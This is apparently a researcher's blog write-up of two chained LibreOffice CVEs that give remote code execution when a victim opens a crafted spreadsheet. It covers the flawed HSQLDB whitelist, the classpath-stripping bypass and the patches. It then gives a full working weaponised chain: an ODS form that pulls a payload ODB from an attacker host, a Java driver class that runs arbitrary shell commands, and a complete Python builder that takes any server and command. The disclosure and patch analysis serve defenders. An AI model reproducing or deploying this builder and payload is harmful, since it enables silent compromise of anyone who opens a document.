ii4gsp

CVE-2026-104692 / CVE-2026-104007 - LibreOffice RCE via ODF Form Datasource JDBC Code Execution


Introduction

This blog post describes how to exploit a remote code execution vulnerability in LibreOffice by combining two security vulnerabilities with several ODF document features to build a complete exploit chain. The exploit achieves arbitrary command execution on macOS, Windows, and Linux when a victim simply opens a crafted spreadsheet file, with no user interaction, no macro warning, and no security prompt.
The vulnerabilities are tracked as CVE-2026-104692 and CVE-2026-104007.


Affected Versions

Affected Fixed Prerequisite
≤ 26.2.6.x 26.2.7 Java runtime installed and enabled in LibreOffice
≤ 26.8.1 26.8.2 Java runtime installed and enabled in LibreOffice


Vulnerability

Two independent vulnerabilities make this exploit possible. CVE-2026-104007 alone is sufficient for RCE via the Driver.connect() path, which bypasses the HSQLDB method whitelist entirely. The exploit demonstrates this on Linux, while on macOS and Windows it chains both CVEs through the HSQLDB CALL path.


CVE-2026-104692: HSQLDB Method Whitelist Not Enforced

The HSQLDB bundled with LibreOffice has a method whitelist mechanism in HsqlDatabaseProperties.supportsJavaMethod() that controls which Java methods can be invoked through SQL CALL statements. At [A], the whitelist field accessibleJavaMethodNames is initialized to null instead of an empty set. At [B], since the field is null, supportsJavaMethod() unconditionally returns true for any method name — effectively disabling the entire whitelist and allowing arbitrary Java method execution through HSQLDB.

The static initializer at [C] reads System.getProperty("hsqldb.method_class_names") and parses semicolon-separated method names to populate the whitelist. But since the field starts as null (not an empty set), supportsJavaMethod() already returns true regardless of whether this code runs.

// org/hsqldb/persist/HsqlDatabaseProperties.java

public class HsqlDatabaseProperties extends HsqlProperties {

    private static HashSet accessibleJavaMethodNames = null;  // [A] null = allow all

    // ...

    public static boolean supportsJavaMethod(String string) {
        if (accessibleJavaMethodNames == null) {  // [B] always true when null
            return true;                          // ALL methods allowed
        }
        if (string.startsWith("org.hsqldb.Library.")) return true;
        if (string.startsWith("java.lang.Math.")) return true;
        if (accessibleJavaMethodNames.contains(string)) return true;
        Iterator iterator = accessibleJavaMethodNames.iterator();
        while (iterator.hasNext()) {
            String string2 = (String)iterator.next();
            int n = string2.lastIndexOf(".*");
            if (n < 1 || !string.startsWith(string2.substring(0, n + 1))) continue;
            return true;
        }
        return false;
    }

    // ...

    static {
        try {
            String string = System.getProperty("hsqldb.method_class_names");  // [C]
            if (string != null) {
                String[] stringArray = StringUtil.split(string, ";");
                for (int i = 0; i < stringArray.length; ++i) {
                    accessibleJavaMethodNames.add(stringArray[i]);
                }
            }
        } catch (Exception exception) {}
        // ... meta initialization
    }
}


When HSQLDB processes a CALL statement, Database.getJavaName() resolves the method name. At [D], it calls supportsJavaMethod() to check whether the method is allowed. Because the whitelist is null, this check always passes, and any Java method — including the attacker’s evil.Driver.pwn() — is invoked without restriction.

// org/hsqldb/Database.java

class Database {

    // ...

    private HHashMap hAlias;

    String getJavaName(String string) throws HsqlException {
        String string2 = (String)this.hAlias.get(string);
        if (string2 == null) {
            string2 = string;
        }
        if (HsqlDatabaseProperties.supportsJavaMethod(string2)) {  // [D] always passes
            return string2;
        }
        throw Trace.error(33, string2);
    }

    // ...
}


CVE-2026-104007: setPropertyInfo Bypass for External ODB References

dbaxml::ODBFilter::setPropertyInfo() is a security function that strips the JavaDriverClassPath property from ODB files during XML import to prevent attacker-controlled classpath injection. At [E], when an ODB is opened directly, setPropertyInfo() removes the dangerous property after XML parsing but before properties are applied to the datasource.

// dbaccess/source/filter/xml/xmlfilter.cxx

void ODBFilter::setPropertyInfo()
{
    // ...
    ::comphelper::NamedValueCollection aDocumentSettings( aInfo );
    aDocumentSettings.remove( u"JavaDriverClassPath"_ustr );     // [E] strips classpath
    aDataSourceSettings.merge( aDocumentSettings, true );
    // ...
}


However, setPropertyInfo() is called only when directly opening an ODB file. When an ODB is referenced as an external datasource via form:datasource, this filter is not invoked. At [F], the ODB’s db:java-classpath is passed directly to JConnection::construct() and loaded into the URLClassLoader with the attacker’s classpath intact. This bypass is critical because it allows the attacker to control which classes URLClassLoader loads — without a classpath, even if CVE-2026-104692 allows calling arbitrary methods, there are no attacker-controlled classes to call.

// connectivity/source/drivers/jdbc/JConnection.cxx — construct()

sDriverClassPath = aSettings.getOrDefault(
    u"JavaDriverClassPath"_ustr, sDriverClassPath);  // [F] classpath NOT stripped
if ( sDriverClassPath.isEmpty() )
    sDriverClassPath = impl_getJavaDriverClassPath_nothrow(sDriverClass);
// ...
loadDriverFromProperties( sDriverClass, sDriverClassPath, aSystemProperties );
ODB Import Pipeline:

Direct ODB open:
  ODBFilter::filter()
    → ODBFilter::implImport()
      → ReadThroughComponent()          ← XML parsed, classpath loaded
      → setPropertyInfo()               ← [E] strips JavaDriverClassPath
      → properties applied to datasource

External ODB via form:datasource:
  form auto-load triggered
    → HTTP GET payload.odb
    → ODB loaded into datasource
    → setPropertyInfo() NOT called      ← [F] classpath preserved!
    → properties applied with attacker's classpath intact


Patch

The 26.8.2.2 pre-release patches both vulnerabilities with defense-in-depth.


CVE-2026-104692: accessibleJavaMethodNames is initialized to an empty HashSet instead of null, so supportsJavaMethod() falls through to the whitelist check and blocks all methods not in org.hsqldb.Library.* or java.lang.Math.*. The static initializer still reads System.getProperty("hsqldb.method_class_names") after creating the empty set, but since LibreOffice does not set this property, the set remains empty.

--- a/hsqldb/src/org/hsqldb/persist/HsqlDatabaseProperties.java
+++ b/hsqldb/src/org/hsqldb/persist/HsqlDatabaseProperties.java
@@ -57,15 +57,13 @@
 
     private static String hsqldb_method_class_names =
         "hsqldb.method_class_names";
-    private static HashSet accessibleJavaMethodNames;
+    private static HashSet accessibleJavaMethodNames = new HashSet();
 
     static {
         try {
             String prop = System.getProperty(hsqldb_method_class_names);
 
             if (prop != null) {
-                accessibleJavaMethodNames = new HashSet();
-
                 String[] names = StringUtil.split(prop, ";");
 
                 for (int i = 0; i < names.length; i++) {
@@ -76,11 +74,9 @@
     }
 
     /**
-     * If the system property "hsqldb.method_class_names" is not set, then
-     * static methods of all available Java classes can be accessed as functions
-     * in HSQLDB. If the property is set, then only the list of semicolon
-     * seperated method names becomes accessible. An empty property value means
-     * no class is accessible.<p>
+     * Only the semicolon seperated method names in the system property
+     * "hsqldb.method_class_names" are accessible. An empty or unset property
+     * means no class is accessible.<p>
      *
      * A property value that ends with .* is treated as a wild card and allows
      * access to all classe or method names formed by substitution of the


CVE-2026-104007: Two defense-in-depth changes were added. First, setPropertyInfo() now also strips SystemProperties from ODB files during XML import, closing a system property injection vector where an attacker could set hsqldb.method_class_names via the ODB’s db:data-source-settings to re-populate the whitelist bypassed by CVE-2026-104692.

--- a/dbaccess/source/filter/xml/xmlfilter.cxx
+++ b/dbaccess/source/filter/xml/xmlfilter.cxx
 void ODBFilter::setPropertyInfo()
 {
     // ...
     ::comphelper::NamedValueCollection aDocumentSettings( aInfo );
-    // The Java class path of a driver comes from the driver configuration, not the document.
+    // The Java class path of a driver and the Java system properties come from the driver
+    // configuration, not the document.
     aDocumentSettings.remove( u"JavaDriverClassPath"_ustr );
+    aDocumentSettings.remove( u"SystemProperties"_ustr );
     // CreateDatabase asks the driver for a new database, which only the user does from the UI.
     aDocumentSettings.remove( u"CreateDatabase"_ustr );
     aDataSourceSettings.merge( aDocumentSettings, true );
     // ...
 }


Second, the datasource connection path now checks whether the document is in a trusted location. Untrusted documents have their additional driver options (INFO_ADDITIONALOPTIONS) filtered out during connection setup, and ADO connections from untrusted locations are blocked entirely.

--- a/dbaccess/source/core/dataaccess/datasource.cxx
+++ b/dbaccess/source/core/dataaccess/datasource.cxx
 Sequence< PropertyValue > lcl_filterDriverProperties( const Reference< XDriver >& _xDriver,
     const OUString& _sUrl,
-    const Sequence< PropertyValue >& _rDataSourceSettings )
+    const Sequence< PropertyValue >& _rDataSourceSettings, bool bTrustedLocation )
 {
     // ...
     for (auto& dataSourceSetting : _rDataSourceSettings)
     {
+        // Additional driver options follow the same rule as updating links.
+        if (!bTrustedLocation && dataSourceSetting.Name == INFO_ADDITIONALOPTIONS)
+            continue;
         // ...
     }
 }


Defense-in-Depth

The patches create overlapping defense layers. Even if one layer is bypassed, the others independently block the attack.

Layer 1: setPropertyInfo() — strips from ODB XML
  ├── JavaDriverClassPath → removed (no class loading)
  ├── SystemProperties    → removed (no property injection)
  └── CreateDatabase      → removed (no DB at arbitrary path)

Layer 2: Trusted Location Check — datasource.cxx
  ├── Untrusted documents have additional driver options filtered
  └── ADO connections blocked from untrusted locations

Layer 3: HSQLDB Method Whitelist
  ├── accessibleJavaMethodNames = new HashSet() (empty, not null)
  ├── Only org.hsqldb.Library.* and java.lang.Math.* allowed
  └── System.getProperty("hsqldb.method_class_names") checked at class load

Even if classpath survives → whitelist blocks CALL → no method execution
Even if whitelist bypassed → trusted location check limits driver options
Even if SystemProperties injected → stripping prevents whitelist repopulation


Exploitation

The exploit reaches the two vulnerabilities above through a chain of ODF document features that, while not vulnerabilities themselves, enable the attack to trigger automatically. Opening the document is enough — no macros, no prompts, no additional interaction required.


Exploit Chain

The exploit leverages five ODF/LibreOffice features to deliver the payload and trigger the two vulnerabilities without user interaction:

1. HTTP ODB Auto-Download — ODF documents can reference an external database file (ODB) through form:datasource. When this attribute contains an HTTP URL, LibreOffice downloads the ODB file from the remote server without user confirmation. This delivers the attacker’s ODB payload containing the malicious classpath configuration (CVE-2026-104007).

2. Form Auto-Load — The form:apply-design-mode="false" attribute causes LibreOffice to automatically connect to the datasource and execute the form’s SQL command upon document open. LibreOffice classifies database access as a non-macro operation, so no macro security dialog is triggered.

3. SQL Composer Bypass — The form:escape-processing="false" attribute disables SingleSelectQueryComposer validation, allowing CALL statements to reach HSQLDB unmodified. Without this, the SQL composer would reject the CALL syntax as it only handles SELECT statements.

4. ODS-as-Class-Container — Since ODS files are ZIP archives, the attacker embeds the malicious evil/Driver.class directly inside the ODS file itself. Java’s URLClassLoader treats ZIP/JAR files as class containers and loads .class files from them. The ODB payload sets the classpath to point back to this file on disk.

5. Bootstrap Variable Path Prediction — LibreOffice supports bootstrap variables ($SYSUSERHOME, ${.envvar:HOME}) in classpath strings that resolve to platform-specific user directories at runtime. The attacker lists multiple common download locations (Downloads, Desktop, Documents) — URLClassLoader silently ignores paths that don’t exist, so one will match regardless of where the victim saved the file.


The crafted ODS file combines all five features. At [A], it references the attacker’s HTTP server. At [B], it enables form auto-load. At [C], it disables SQL composer validation.

<!-- content.xml inside the ODS file -->
<office:document-content
    xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"
    xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0"
    xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"
    xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0"
    xmlns:ooo="http://openoffice.org/2004/office"
    office:version="1.3">
  <office:body>
    <office:spreadsheet>
      <table:table table:name="Sheet1">
        <office:forms form:automatic-focus="false"
                      form:apply-design-mode="false">       // [B] form auto-load
          <form:form form:name="DataForm"
            form:datasource="http://attacker.com:8888/payload.odb"  // [A] HTTP ODB
            form:command="CALL &quot;evil.Driver.pwn&quot;('open -a Calculator')"
            form:command-type="command"
            form:escape-processing="false">                 // [C] SQL composer bypass
            <form:text form:name="Field1"
              form:control-implementation="ooo:com.sun.star.form.component.TextField"
              form:id="control1">
              <form:properties>
                <form:property form:property-name="DefaultControl"
                  form:property-type="string"
                  form:property-value="com.sun.star.form.control.TextField"/>
              </form:properties>
            </form:text>
          </form:form>
        </office:forms>
        <table:table-column table:number-columns-repeated="5"/>
        <table:table-row>
          <table:table-cell office:value-type="string">
            <text:p>Item</text:p></table:table-cell>
          <table:table-cell office:value-type="string">
            <text:p>Qty</text:p></table:table-cell>
          <table:table-cell office:value-type="string">
            <text:p>Price</text:p></table:table-cell>
        </table:table-row>
      </table:table>
    </office:spreadsheet>
  </office:body>
</office:document-content>


Since ODS is a ZIP archive, the malicious evil/Driver.class is embedded directly inside the file at [D]. URLClassLoader treats ZIP files as class containers and loads .class files from them.

poc.ods (ZIP archive)
├── mimetype                         ← ODS magic (uncompressed, first entry)
├── content.xml                      ← form with CALL statement + HTTP datasource
├── styles.xml                       ← spreadsheet styles
├── META-INF/
│   └── manifest.xml                 ← ODF manifest listing all entries
└── evil/
    └── Driver.class                 ← [D] malicious class loaded by URLClassLoader


The ODB payload hosted on the attacker’s server provides the classpath configuration and JDBC settings. It uses bootstrap variables to predict the victim’s file path and points the classpath back to the ODS file on disk:

<!-- ODB content.xml — classpath pointing back to the ODS file -->
<db:data-source>
  <db:connection-data>
    <db:connection-resource xlink:href="jdbc:hsqldb:mem:exploit"/>
    <db:login db:user-name="SA" db:is-password-required="false"/>
  </db:connection-data>
  <db:driver-settings db:java-driver-class="org.hsqldb.jdbcDriver"
    db:java-classpath="vnd.sun.star.expand:$SYSBINDIR/../Resources/java/hsqldb.jar
      vnd.sun.star.expand:$SYSUSERHOME/Downloads/poc.ods
      vnd.sun.star.expand:$SYSUSERHOME/Desktop/poc.ods
      vnd.sun.star.expand:$SYSUSERHOME/Documents/poc.ods"
    db:system-driver-settings=""
    db:parameter-name-substitution="false"/>
</db:data-source>


Exploit Flow

1. Attacker: Build exploit files
   ├── poc.ods    → ODS with form auto-load + evil/Driver.class
   └── payload.odb    → ODB with classpath pointing back to poc.ods

2. Attacker: Host payload.odb on HTTP server
   └── python3 -m http.server 8888

3. Victim: Opens poc.ods (or poc.xlsx — content-based detection)

4. LibreOffice processing:
   ├── Parses content.xml
   ├── form:apply-design-mode="false" → auto-load triggered
   ├── form:datasource="http://attacker:8888/payload.odb"
   │   └── HTTP GET → silently downloads payload.odb (no prompt)
   ├── ODB parsed → classpath = $SYSUSERHOME/Downloads/poc.ods
   │   └── setPropertyInfo() not called → classpath preserved    (CVE-2026-104007)
   ├── HSQLDB initialized
   │   └── accessibleJavaMethodNames = null → all methods allowed (CVE-2026-104692)
   ├── form:escape-processing="false" → SQL passed directly
   ├── CALL "evil.Driver.pwn"('open -a Calculator')
   │   ├── URLClassLoader loads evil/Driver.class from poc.ods on disk
   │   └── evil.Driver.pwn() → Runtime.getRuntime().exec()
   └── Code execution — opening the document is enough

5. Result: Arbitrary command execution as the victim's user


Platform-Specific Behavior

On macOS and Windows, the exploit uses the HSQLDB CALL path: the form’s SQL command directly invokes evil.Driver.pwn() with the command string as an argument.

On Linux, the exploit demonstrates that CVE-2026-104007 alone is sufficient for RCE: evil.Driver is registered as the JDBC driver class in the ODB, and its connect() method is invoked automatically during connection setup. The command is embedded in the JDBC URL as jdbc:evil:<command>. This Driver.connect() approach would work on all platforms even if the HSQLDB whitelist were applied, because driver class loading and connect() invocation do not go through supportsJavaMethod().

// evil/Driver.java — connect() path (Linux)
// Driver class loading triggers connect() automatically during JDBC connection setup.
// The command is extracted from the JDBC URL prefix "jdbc:evil:".
public Connection connect(String url, Properties info) throws SQLException {
    if (url != null && url.startsWith("jdbc:evil:")) {
        pwn(url.substring(10));  // extract command from URL
    }
    return null;
}


evil/Driver.java

The malicious JDBC driver implements the CALL path via pwn() and the connect() path (demonstrated on Linux).

package evil;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Properties;

public class Driver implements java.sql.Driver {
    public static String pwn(String cmd) {
        try {
            String os = System.getProperty("os.name").toLowerCase();
            String[] command;
            if (os.contains("win")) {
                command = new String[]{"cmd.exe", "/c", cmd};
            } else if (os.contains("mac")) {
                command = new String[]{"/bin/sh", "-c", cmd};
            } else {
                command = new String[]{"/bin/sh", "-c", cmd};
            }
            Runtime.getRuntime().exec(command);
        } catch (Exception e) {
            return e.toString();
        }
        return "ok";
    }

    public Connection connect(String url, Properties info) throws SQLException {
        if (url != null && url.startsWith("jdbc:evil:")) {
            pwn(url.substring(10));
        }
        return null;
    }
    public boolean acceptsURL(String url) throws SQLException { return url != null && url.startsWith("jdbc:evil:"); }
    public java.sql.DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException { return new java.sql.DriverPropertyInfo[0]; }
    public int getMajorVersion() { return 1; }
    public int getMinorVersion() { return 0; }
    public boolean jdbcCompliant() { return false; }
    public java.util.logging.Logger getParentLogger() { return null; }
}


Full Exploit

#!/usr/bin/env python3
"""
Usage:
    python3 build_exploit.py --server <attacker_ip:port> --target <platform>
    cd output && python3 -m http.server 8888

    --server    Attacker HTTP server address (e.g. 192.168.1.100:8888)
    --target    Target platform: macos | linux | windows | all
    --filename  ODS filename the victim will open (default: poc.ods)
    --cmd       Custom command to execute (overrides platform default)
    --outdir    Output directory (default: ./output)
"""

import argparse
import io
import os
import struct
import sys
import zipfile
from pathlib import Path

# ── Calculator commands per platform ──
CALC_COMMANDS = {
    "macos":   "open -a Calculator",
    "linux":   "gnome-calculator || kcalc || xcalc || mate-calc || xfce4-calculator || galculator || qalculate-gtk",
    "windows": "calc.exe",
}

# ── Classpath search paths per platform ──
# URLClassLoader silently ignores paths that don't exist,
# so we list multiple common download locations.
CLASSPATH_PATHS = {
    "macos": [
        "$SYSUSERHOME/Downloads/{filename}",
        "$SYSUSERHOME/Desktop/{filename}",
        "$SYSUSERHOME/Documents/{filename}",
    ],
    "linux": [
        "file://$/Downloads/{filename}",
        "file://$/Desktop/{filename}",
        "file://$/Documents/{filename}",
        "file://$/다운로드/{filename}",
    ],
    "windows": [
        "$SYSUSERHOME/../Downloads/{filename}",
        "$SYSUSERHOME/../Desktop/{filename}",
        "$SYSUSERHOME/{filename}",
    ],
}

# ── hsqldb.jar path per platform ──
HSQLDB_PATHS = {
    "macos":   "vnd.sun.star.expand:$SYSBINDIR/../Resources/java/hsqldb.jar",
    "linux":   "vnd.sun.star.expand:$SYSBINDIR/classes/hsqldb.jar",
    "windows": "vnd.sun.star.expand:$SYSBINDIR/classes/hsqldb.jar",
}

# ── Precompiled evil/Driver.class ──
# Cross-platform: detects OS at runtime via os.name, uses /bin/sh or cmd.exe
# Source: evil/Driver.java (included in this directory)
EVIL_DRIVER_CLASS = None  # loaded from file

def load_evil_class():
    """Load the precompiled evil/Driver.class from the script's directory."""
    script_dir = Path(__file__).parent
    class_path = script_dir / "evil" / "Driver.class"
    if not class_path.exists():
        print(f"[!] evil/Driver.class not found at {class_path}")
        print("    Compile it: javac evil/Driver.java")
        sys.exit(1)
    return class_path.read_bytes()

def build_classpath(target: str, filename: str) -> str:
    """Build the space-separated classpath string for the ODB."""
    parts = [HSQLDB_PATHS[target]]
    for tmpl in CLASSPATH_PATHS[target]:
        path = tmpl.format(filename=filename)
        parts.append(f"vnd.sun.star.expand:{path}")
    return " ".join(parts)

def xml_escape(s: str) -> str:
    """Escape for XML attribute values."""
    return s.replace("&", "&amp;").replace('"', "&quot;").replace("'", "&apos;")\
           .replace("<", "&lt;").replace(">", "&gt;")

def build_odb(target: str, filename: str, command: str, evil_class: bytes) -> bytes:
    """Build the ODB payload ZIP."""
    classpath = build_classpath(target, filename)

    manifest_xml = '<?xml version="1.0" encoding="UTF-8"?>\n' \
        '<manifest:manifest xmlns:manifest=' \
        '"urn:oasis:names:tc:opendocument:xmlns:manifest:1.0">\n' \
        '  <manifest:file-entry manifest:full-path="/" ' \
        'manifest:media-type="application/vnd.oasis.opendocument.base"/>\n' \
        '  <manifest:file-entry manifest:full-path="settings.xml" ' \
        'manifest:media-type="text/xml"/>\n' \
        '  <manifest:file-entry manifest:full-path="content.xml" ' \
        'manifest:media-type="text/xml"/>\n' \
        '</manifest:manifest>'

    settings_xml = '<?xml version="1.0" encoding="UTF-8"?>\n' \
        '<office:document-settings ' \
        'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" ' \
        'office:version="1.3"><office:settings/></office:document-settings>'

    if target == "linux":
        driver_class = "evil.Driver"
        jdbc_url = f"jdbc:evil:{xml_escape(command)}"
    else:
        driver_class = "org.hsqldb.jdbcDriver"
        jdbc_url = "jdbc:hsqldb:mem:exploit"

    content_xml = f'''<?xml version="1.0" encoding="UTF-8"?>
<office:document-content
    xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"
    xmlns:db="urn:oasis:names:tc:opendocument:xmlns:database:1.0"
    xmlns:xlink="http://www.w3.org/1999/xlink"
    office:version="1.3">
  <office:body>
    <office:database>
      <db:data-source>
        <db:connection-data>
          <db:connection-resource xlink:href="{jdbc_url}"/>
          <db:login db:user-name="SA" db:is-password-required="false"/>
        </db:connection-data>
        <db:driver-settings db:java-driver-class="{driver_class}"
          db:java-classpath="{xml_escape(classpath)}"
          db:system-driver-settings=""
          db:parameter-name-substitution="false"/>
        <db:application-connection-settings
          db:is-table-name-length-limited="false"
          db:append-table-alias-name="false" db:max-row-count="100">
          <db:table-filter>
            <db:table-include-filter>
              <db:table-filter-pattern>%</db:table-filter-pattern>
            </db:table-include-filter>
          </db:table-filter>
        </db:application-connection-settings>
      </db:data-source>
    </office:database>
  </office:body>
</office:document-content>'''

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("META-INF/manifest.xml", manifest_xml)
        zf.writestr("settings.xml", settings_xml)
        zf.writestr("content.xml", content_xml)
        zf.writestr("evil/Driver.class", evil_class)
    return buf.getvalue()

def build_ods(server_url: str, command: str, evil_class: bytes,
              odb_name: str = "payload.odb") -> bytes:
    """Build the victim ODS file."""
    odb_url = f"http://{server_url}/{odb_name}"

    manifest_xml = '<?xml version="1.0" encoding="UTF-8"?>\n' \
        '<manifest:manifest xmlns:manifest=' \
        '"urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" ' \
        'manifest:version="1.3">\n' \
        '  <manifest:file-entry manifest:full-path="/" manifest:version="1.3" ' \
        'manifest:media-type=' \
        '"application/vnd.oasis.opendocument.spreadsheet"/>\n' \
        '  <manifest:file-entry manifest:full-path="content.xml" ' \
        'manifest:media-type="text/xml"/>\n' \
        '  <manifest:file-entry manifest:full-path="styles.xml" ' \
        'manifest:media-type="text/xml"/>\n' \
        '  <manifest:file-entry manifest:full-path="evil/Driver.class" ' \
        'manifest:media-type="application/java-vm"/>\n' \
        '</manifest:manifest>'

    styles_xml = '<?xml version="1.0" encoding="UTF-8"?>\n' \
        '<office:document-styles ' \
        'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" ' \
        'office:version="1.3">\n</office:document-styles>'

    content_xml = f'''<?xml version="1.0" encoding="UTF-8"?>
<office:document-content
    xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"
    xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0"
    xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"
    xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0"
    xmlns:xlink="http://www.w3.org/1999/xlink"
    xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0"
    xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0"
    xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0"
    xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0"
    xmlns:ooo="http://openoffice.org/2004/office"
    xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0"
    office:version="1.3">
  <office:body>
    <office:spreadsheet>
      <table:table table:name="Sheet1">
        <office:forms form:automatic-focus="false"
                      form:apply-design-mode="false">
          <form:form form:name="DataForm"
            form:datasource="{xml_escape(odb_url)}"
            form:command="CALL &quot;evil.Driver.pwn&quot;\
(&apos;{xml_escape(command)}&apos;)"
            form:command-type="command"
            form:escape-processing="false">
            <form:text form:name="Field1"
              form:control-implementation=\
"ooo:com.sun.star.form.component.TextField"
              form:id="control1">
              <form:properties>
                <form:property form:property-name="DefaultControl"
                  form:property-type="string"
                  form:property-value=\
"com.sun.star.form.control.TextField"/>
              </form:properties>
            </form:text>
          </form:form>
        </office:forms>
        <table:table-column table:number-columns-repeated="5"/>
        <table:table-row>
          <table:table-cell office:value-type="string">
            <text:p>Item</text:p></table:table-cell>
          <table:table-cell office:value-type="string">
            <text:p>Qty</text:p></table:table-cell>
          <table:table-cell office:value-type="string">
            <text:p>Price</text:p></table:table-cell>
        </table:table-row>
        <table:table-row>
          <table:table-cell office:value-type="string">
            <text:p>Consulting Services</text:p></table:table-cell>
          <table:table-cell office:value-type="float" office:value="40">
            <text:p>40</text:p></table:table-cell>
          <table:table-cell office:value-type="float" office:value="150">
            <text:p>$150.00</text:p></table:table-cell>
        </table:table-row>
        <table:table-row>
          <table:table-cell office:value-type="string">
            <text:p>Development</text:p></table:table-cell>
          <table:table-cell office:value-type="float" office:value="80">
            <text:p>80</text:p></table:table-cell>
          <table:table-cell office:value-type="float" office:value="200">
            <text:p>$200.00</text:p></table:table-cell>
        </table:table-row>
        <table:table-row>
          <table:table-cell>
            <draw:control draw:name="Field1"
              svg:width="0.01cm" svg:height="0.01cm"
              svg:x="0cm" svg:y="0cm"
              form:id="control1"/>
          </table:table-cell>
        </table:table-row>
      </table:table>
    </office:spreadsheet>
  </office:body>
</office:document-content>'''

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w") as zf:
        info = zipfile.ZipInfo("mimetype")
        info.compress_type = zipfile.ZIP_STORED
        zf.writestr(info, "application/vnd.oasis.opendocument.spreadsheet")
        zf.writestr("content.xml", content_xml,
                     compress_type=zipfile.ZIP_DEFLATED)
        zf.writestr("styles.xml", styles_xml,
                     compress_type=zipfile.ZIP_DEFLATED)
        zf.writestr("META-INF/manifest.xml", manifest_xml,
                     compress_type=zipfile.ZIP_DEFLATED)
        zf.writestr("evil/Driver.class", evil_class,
                     compress_type=zipfile.ZIP_DEFLATED)
    return buf.getvalue()

def main():
    parser = argparse.ArgumentParser(
        description="LibreOffice RCE exploit builder")
    parser.add_argument("--server", required=True,
                        help="Attacker HTTP server (ip:port)")
    parser.add_argument("--target", required=True,
                        choices=["macos", "linux", "windows", "all"])
    parser.add_argument("--filename", default="poc.ods")
    parser.add_argument("--cmd", default=None)
    parser.add_argument("--outdir", default="./output")
    args = parser.parse_args()

    evil_class = load_evil_class()
    outdir = Path(args.outdir)
    outdir.mkdir(parents=True, exist_ok=True)

    targets = (["macos", "linux", "windows"]
               if args.target == "all" else [args.target])

    for target in targets:
        command = args.cmd or CALC_COMMANDS[target]
        suffix = f"_{target}" if len(targets) > 1 else ""
        odb_name = f"payload{suffix}.odb"

        odb_data = build_odb(target, args.filename, command, evil_class)
        odb_path = outdir / odb_name
        odb_path.write_bytes(odb_data)

        ods_data = build_ods(args.server, command, evil_class, odb_name)
        ods_name = (args.filename if len(targets) == 1
                    else f"{Path(args.filename).stem}_{target}.ods")
        ods_path = outdir / ods_name
        ods_path.write_bytes(ods_data)

        print(f"[+] {target}:")
        print(f"    ODS: {ods_path} ({len(ods_data)} bytes)")
        print(f"    ODB: {odb_path} ({len(odb_data)} bytes)")
        print(f"    CMD: {command}")
        print()

    print(f"[*] Serve payloads:")
    print(f"    cd {outdir} && python3 -m http.server "
          f"{args.server.split(':')[-1]}")
    print()
    print(f"[*] Exploit flow:")
    print(f"    1. Victim opens {args.filename}")
    print(f"    2. LO auto-downloads ODB from http://{args.server}/")
    print(f"    3. HSQLDB loads evil class from {args.filename} on disk")
    print(f"    4. RCE")

if __name__ == "__main__":
    main()


Demo

Windows


macOS


Linux


References